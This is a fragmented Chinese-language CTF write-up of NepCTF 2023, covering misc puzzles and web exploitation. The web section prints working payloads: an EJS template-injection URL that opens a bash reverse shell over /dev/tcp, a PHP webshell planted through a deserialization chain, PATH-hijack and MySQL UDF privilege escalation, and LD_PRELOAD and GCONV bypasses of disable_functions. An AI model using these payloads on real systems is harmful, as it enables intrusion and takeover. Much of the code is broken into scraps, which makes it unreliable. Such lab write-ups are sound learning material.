3】复现MISC与AI共舞的哈夫曼codesc语言获取环境变量

小叮弹钢琴陌生的语言你也喜欢三月七么Ez_BASIC_IImisc参考

Crad

Ez_include法一劫持LD_PRELOAD绕过disable_functions知识点法二GCONV绕过disable_functionsweb参考

【NepCTF2023】复现

年轻人就要年轻正经人谁自己写代码啊~直接用gpt写出decompress()

def

build_huffman_tree(frequencies)#

Read

current_node.leftelse:current_node

current_node.rightif

None:decompressed_data.append(current_node.char)current_node

rootwith

f:f.write(bytes(decompressed_data))codes

你很会写代码吗你会写有什么用出来混

tips:flag格式为Nepctf{},flag存在环境变量

经过测试把一些简单的命令执行函数以及关键字给禁用掉了没办法经过命令执行获取环境变量

c语言获取环境变量

https://blog.csdn.net/aspnet_lyc/article/details/20548767

argv被很多人熟悉但main函数还有第三个参数------arge。

main的第三个参数里存的是系统变量,所以可以通过这个参数获得系统环境变量

#include

--.youshouldusethistoxorsomething你应该与一些东西异或很明显我们把16进制提出来之后与他异或

0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17陌生的语言

flag格式NepCTF{XX_XX}

HEARTISYOURMAGICNEPNEPABELIEVING凭语感拼接起来

NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}你也喜欢三月七么

三月七耶终于来到Nepnep星球啦让我看看正在火热进行的Hacker夺旗大赛群聊。

啊开拓者这群名看起来怪怪的诶。

开拓者U_id(端着下巴磨蹭了一下眼神若有所思这好像需要经过啥256处理一下才能得到我们需要的关键。

三月七那我们快想想怎么解开这个谜题

88219bdee9c396eca3c637c0ea436058

ciphertext

b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc这里根据题目描述群名很咸推出salt长度为10NepCTF2023

经过啥256处理一下才能得到我们需要的关键推出sha256后得到key(关键)

猜测我们对NepCTF2023经过sha256后可以得到key

取出前32位

dd8e671df3882c5be6423cd030bd7cb6然后AES解密hex解密base64解密

https://img1.imgtp.com/2023/07/24/yOkXWSJT.png

星穹铁道文字

NepCTF{HRP_always_likes_March_7th}Ez_BASIC_II

穿越回

赶上了世界上第一批大规模生产的个人电脑发售。

经过数月努力他终于拥有了一台计算机。

他迫不及待地将自己编写的

BASIC

语言不熟悉导致他写错了代码段。

数月后他带着装有程序的磁带回到了21世纪但你能帮他还原磁带中的程序吗

下载后得到一个录音文件

找一个在线网站解析磁带cassettehttps://www.my-trs-80.com/cassette/

把ascii提出来

https://zysgmzb.club/index.php/archives/262

https://blog.csdn.net/jyttttttt/article/details/132273970

WEB

shiro反序列化使用工具一把梭https://github.com/j1anFen/shiro_attack

find提权

StartTimemilliSeconds);}app.get(/,

function(req,

(fs.existsSync(${templateDir}/${uuid}.ejs))try

{if

source3].sort(function(){return

0.5

Math.random();})fs.readFile(source[0].html,

utf8,function(err,

pageContent){fs.writeFileSync(${templateDir}/${uuid}.ejs,

uuid.replace(/-/g,

res.redirect(/page?pageid${uuid}name${name}address${address}message${message});

});app.get(/page,

(!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id)

!fs.existsSync(${templateDir}/${id}.ejs))

such

id)return;}res.render(${templateDir}/${id}.ejs,

req.query);

})仔细阅读一下就知道使用了ejs模板引擎并且在/page路由中没有对req.query过滤造成了ejs模板注入

在url后加入

options][escapeFunction]console.log;this.global.process.mainModule.require(child_process).execSync(bash%20-c%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261);settings[view

http://nepctf.1cepeak.cn:30398/page?pageid7416e7e5-a180-4963-87cd-2900836a378cname1address2message1232settings[view

options][escapeFunction]console.log;this.global.process.mainModule.require(child_process).execSync(bash%20-c%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261);settings[view

options][client]true然后反弹shell拿flag

独步天下配置环境

之前一直报错不解析清华源好像是本地dns的问题折腾了好久终于可以了

我们直接docker-compose

/bin/nmap执行一下nmap发现nmap会调用ports-alive文件

/bin

found于是我们在/tmp目录下将/bin/sh写入ports-alive并且将/tmp加入环境变量

/tmp

PATH/tmp:$PATH接着返回/bin下的ports-alive结果执行了/bin/sh获得root权限然后查看flag即可

/bin

flag{Everything_is_illusory}独步天下-破除虚妄

独步天下第一层请nc连接破除虚妄是第二层对应的flag是flag_mini里的flag

hintports-alive

我们在前面获取root权限之后我们可以使用wget命令从服务器上下载文件例如fscan、frpc

但是我们访问不到它我们使用frp进行反向代理将其代理到我们自己的服务器上

[common]

668dd14f5748这个docker容器将172.24.0.2:8888端口映射到了本机的32768端口上我们再查看一下kali的ip192.168.56.129

192.168.56.129

123然后我们可以使用wget命令从服务器上下载一个fscan用来内网探测

wget

然后我们是没有办法直接访问的因为这是在docker容器中的内网。

经过测试我们发现可以出网于是我们可以搞一个socks5代理这里我们选择Venom

然后运行它

将访问192.168.200.1的请求都通过服务器的socks5代理过去

我们发现这个ping可能存在命令执行于是抓个包然后使用%0a分隔

我们发现/app/app.py文件

load_ping_library()app.route(/)

def

render_template(index.html)app.route(/ping,

methods[POST])

ctypes.create_string_buffer(4096*2)mylib.ping(ip_address.encode(utf-8),

result)return

result.value.decode(utf-8)app.route(/upload_avatar,

methods[POST])

request.headers.get(X-Forwarded-For)

127.0.0.1:return

request.headers.get(X-Forwarded-For)if

file

allowed_file(file.filename):return

Invalid

重置文件读取指针file.save(os.path.join(app.config[UPLOAD_FOLDER],

avatar.png))return

__main__:app.run(host0.0.0.0,port82,debugFalse,use_reloaderFalse)这个上传文件的地方没有对文件的内容做出任何过滤

import

fdopen(/home/ctf/sandbox/,O_RDONLY);if(fd2)

{exit(0);}MD5_CTX

sandbox_dir[100]/home/ctf/sandbox/;char

dir_name[100]/home/ctf/sandbox/;FILE

*new_pip;int

sizeof(key));MD5_Init(ctx);MD5_Update(ctx,

key,

strlen(key));MD5_Final(md5_res,

ctx);for

exiting\n);exit(1);}sprintf(cmd,%s%s,chmod

777

,dir_name);system(cmd);mkdir(bin,

0777);mkdir(lib,

0777);mkdir(lib/x86_64-linux-gnu,

0777);system(cp

/lib/x86_64-linux-gnu/libdl.so.2

lib/x86_64-linux-gnu/);system(cp

/lib/x86_64-linux-gnu/libc.so.6

lib/x86_64-linux-gnu/);system(cp

/lib/x86_64-linux-gnu/libtinfo.so.5

lib/x86_64-linux-gnu/);system(cp

lib64/);if

buf[0x666];memset(buf,0,0x666);write(client_socket,Tmp-Command:,sizeof(Tmp-Command:));read(client_socket,

buf,

0x10);setgid(1001);setuid(1001);popen(buf,w);

int

*)ifr.ifr_addr;strcpy(ip_address,

inet_ntoa(addr-sin_addr));return

int

sizeof(server_addr));server_addr.sin_family

AF_INET;server_addr.sin_addr.s_addr

INADDR_ANY;server_addr.sin_port

htons(9999);//

client_ip[INET_ADDRSTRLEN];inet_ntop(AF_INET,

client_ip,

ip_address[INET_ADDRSTRLEN];const

char

(get_ip_address(interface_name,

ip_address)

{if(strcmp(client_ip,ip_address))

else

{flag0;}}command(server_socket,client_socket);return

}这里不懂

这一部分的文件描述符并没有关闭文件流也没关闭因此是可以连接父进程的openat、fschmod这两个内置函数

然后写一个这种c脚本

}我们可以自行编译这个c文件然后nc进identity以ctf用户运行这样就可以更改flag_mini的权限为777我们就可以读取

echo

I2luY2x1ZGUgPGZjbnRsLmgCiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmgCiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWhS7tuadgmZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9veUqOaWsOaWhS7tui/mihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9|base64

poc.c使用gcc编译一下

poc然后切换到/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e

执行nc我们查看一下ip

复现完这题学到了很多关于内网中代理等知识学到了venom工具构造socks5代理

使用proxifier工具来内网穿透这个工具可以让本机在访问指定ip时都走代理可以实现访问内网不需要类似于proxychains的方式打开工具有点像给系统加了一个代理

独步天下-破除试炼_加冕成王

在http://192.168.200.1/index.php有一个web服务

查看一下这个文件

我们发现cookie会被反序列化并且我们前面看到了这个cms是基于Thinkphp6.0.x的

但是这个cookie会经过think_decrypt()函数解密一下

所以我们的cookie需要先通过think_encrypt()加密一下

function

动态密匙长度相同的明文会生成不同密文就是依靠动态密匙$ckey_length

0;//

get_one_cache_config(WEB_DATA_AUTH_KEY)

$key));//

明文前10位用来保存时间戳解密时验证数据有效性10到26位用来保存$keyb(密匙b)解密时会通过这个密匙验证数据完整性//

如果是解码的话会从第$ckey_length位开始因为密文前$ckey_length位保存

sprintf(%010d,

用固定的算法打乱密匙簿增加随机性好像很复杂实际上对并不会增加密文的强度for

($j

League\Flysystem\Cached\Storage{use

League\Flysystem\Filesystem;abstract

class

phpinfo();eval(\$_POST[1]);?;$this-expire

yydsy4;$this-adapter

\League\Flysystem\Adapter\Local();$this-file

pop.php;}}

League\Flysystem\Cached\Storage\Adapter;$a

new

但是由于当前我们有root权限的数据库用户我们可以使用select

into

查询时它将绕过文件权限检查并允许将查询结果写入任何有效的文件路径中即使该路径对

mysql

用户执行此操作需要格外小心因为它会绕过一些安全限制。

确保仅允许可信任的用户以

root

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INTO

/usr/lib/mysql/plugin/udf.so;在/tmp了本来是没有权限的

mysql

可以参考https://tttang.com/archive/1395/

可以拿到源码link参数后面会拼接一个.txt这样一般的东西也利用不了

然后这里面会有一个LFI2RCE的知识点可以通过文件包含来RCEhttps://tttang.com/archive/1395/

可以在github上找到利用脚本https://github.com/synacktiv/php_filter_chain_generator

python3

但是查看一下disable_functions、disable_classes

把很多的函数和类给禁用了,还限制了open_basedir/var/www/html:/tmp

php

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#imagemagick-%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87

https://xz.aliyun.com/t/4623#toc-6

法一劫持LD_PRELOAD绕过disable_functions

LD_PRELOAD指定的动态链接库文件会在其它文件调用之前先被调用

劫持步骤

生成一个我们的恶意动态链接库文件利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径配合php的某个函数去触发我们的恶意动态链接库文件Getshell

这个php的函数很关键。

可以使用mail、error_log等但是这里被禁用了

__attribute__语法格式为__attribute__

attribute-list

若函数被设定为constructor属性则该函数会在main函数执行之前被自动的执行。

类似的若函数被设定为destructor属性

则该函数会在main函数执行之后或者exit被调用后被自动的执行。

例如下面的程序

#include

(void){unsetenv(LD_PRELOAD);system(bash

bash

poc.so然后我们需要把这个文件给上传到服务器上去并且使用putenv()函数重新设置LD_PRELOAD环境变量最后使用mb_send_mail()调用恶意的函数进行反弹shell

这里有一种方法是上传临时文件/tmp/phpxxx然后使用scandir(glob:///tmp/php*)去模糊匹配的

可以参考https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8B%E7%9A%84php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#domdocument

1$f/tmp/poc.so;

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$d-saveHtmlFile(php://filter/string.strip_tags|convert.base64-decode/resource$f);成功写进去了

post:

mb_send_mail(,,);反弹到shell了接下来就需要提权了

#include

https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp

https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Ez-include

https://xz.aliyun.com/t/4623#toc-7

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#error_log

原理https://www.wangan.com/p/7fy7fg4103b2ee22#%E5%88%A9%E7%94%A8GCONV_PATH%E4%B8%8Eiconv

原理简介

文件这个文件中包含了各个字符集的相关信息存储的路径每个字符集的相关信息存储在一个.so

文件中即

文件文件中指定我们自定义的字符集文件的.so然后我们再在.so

gonv_init()

https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80

web参考

https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Hive-it

https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp